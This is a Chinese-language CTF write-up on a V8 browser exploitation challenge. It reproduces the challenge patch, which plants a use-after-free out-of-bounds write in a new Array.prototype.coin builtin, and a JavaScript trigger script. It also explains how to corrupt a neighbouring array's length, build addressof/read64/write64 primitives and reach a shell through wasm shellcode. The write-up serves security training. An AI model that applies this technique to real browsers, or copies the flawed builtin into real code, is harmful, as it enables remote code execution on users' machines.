-
-
browser pwn入门(二)
-
发表于: 2023-12-13 21:46 9536
-
再来看一道oob的题目
先看diff
作者贴心提示了我们只能用于release版本不能用于debug,编译release的时候记得在args.gn里加上这几行
不然用不了job命令
作者为array容器新增了一个了一个coin方法,接收两个参数length和value,超过两个则会返回undefined_value。
获取array然后申请一个局部变量存储elements字段,声明value和length,然后对coin的两个参数分别调用ToNumber函数。
判断array的length是否大于37,如果大于的话则将value写入到之前声明的局部变量elements[37]中。
通过分析diff来寻找漏洞,由于ToNumber函数可以出发回调函数,所以如果先申请一个length小于37的array,然后在回调函数中修改array length的值,让其大于37,就可以让array的elements将原来的空间释放掉然后重新申请一个更大的空间,但是局部变量elements并没有检测是否出现上述情况,所以发生了UAF,导致可能会发生数组越界写。
有了大致思路以后来摸摸这个题
先尝试着利用回调函数修改float_array的length
可以看到成功修改了array的长度,但是修改array的长度并不是关键点,还是要将主要精力放在越界写上,尝试在调用coin的array下面申请一个新的array,然后让越界写刚好能够写到新的array的length字段,这样就可以获得一个大范围的越界任意读写。
进行以下尝试:
其中红色方框是float_array的对象结构,蓝色方框是已经被弃用的大小为30的elements,绿色方框则是victim,包含了对象结构以及大小12的elements结构,可以看到victim的结构是紧挨着被弃用的elements的,如果发生越界写是完全可以通过控制float_array的大小来控制越界写到victim结构的什么字段的,当float_array大小为30的时候,写到的是0x158偏移的位置,而victime的length字段在偏移0x138的位置,也就是说float_array的elements长度再加4*8就可以覆盖victime的length字段。
将float_array.length改成34以后,得到如下结果
现在就获得了大范围越界读写功能了。
接下来借此实现一下功能函数
首先是addressof函数,只需要申请一个array,然后里面写上一个特殊值,然后用victim进行定位,将object存到新申请的array里,然后用victim进行读取即可完成addressof功能
可以看到已经成功实现了addressof
接下来实现read64和write64
还是非常好实现的
最后考虑wasm写shellcode来getshell,常规的执行shellcode的方法即可
起shell
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",
v8_enable_backtrace
=
true
v8_enable_disassembler
=
true
v8_enable_object_print
=
true
v8_enable_verify_heap
=
true
v8_enable_backtrace
=
true
v8_enable_disassembler
=
true
v8_enable_object_print
=
true
v8_enable_verify_heap
=
true
var
buf =
new
ArrayBuffer(16);
var
float64 =
new
Float64Array(buf);
var
bigUint64 =
new
BigUint64Array(buf);
function
f2i(f)
{
float64[0] = f;
return
bigUint64[0];
}
function
i2f(i)
{
bigUint64[0] = i;
return
float64[0];
}
function
hex(i)
{
return
i.toString(16).padStart(16,
"0"
);
}
var
length=123123;
var
value=
{
valueOf:
function
()
{
float_array.length=100;
return
123123;
}
}
var
float_array=[];
float_array.length=30;
%DebugPrint(float_array);
float_array.coin(length,value);
%DebugPrint(float_array);
%SystemBreak();
var
buf =
new
ArrayBuffer(16);
var
float64 =
new
Float64Array(buf);
var
bigUint64 =
new
BigUint64Array(buf);
function
f2i(f)
{
float64[0] = f;
return
bigUint64[0];
}
function
i2f(i)
{
bigUint64[0] = i;
return
float64[0];
}
function
hex(i)
{
return
i.toString(16).padStart(16,
"0"
);
}
var
length=123123;
var
value=
{
valueOf:
function
()
{
float_array.length=100;
return
123123;
}
}
var
float_array=[];
float_array.length=30;
%DebugPrint(float_array);
float_array.coin(length,value);
%DebugPrint(float_array);
%SystemBreak();
赞赏
- browser pwn入门(二) 9537
- browser pwn入门(一) 11147
- [原创]华为杯研究生国赛 adv_lua 10077
- [原创]2022QWB final RDP 9729
- RWCTF5TH shellfind 9415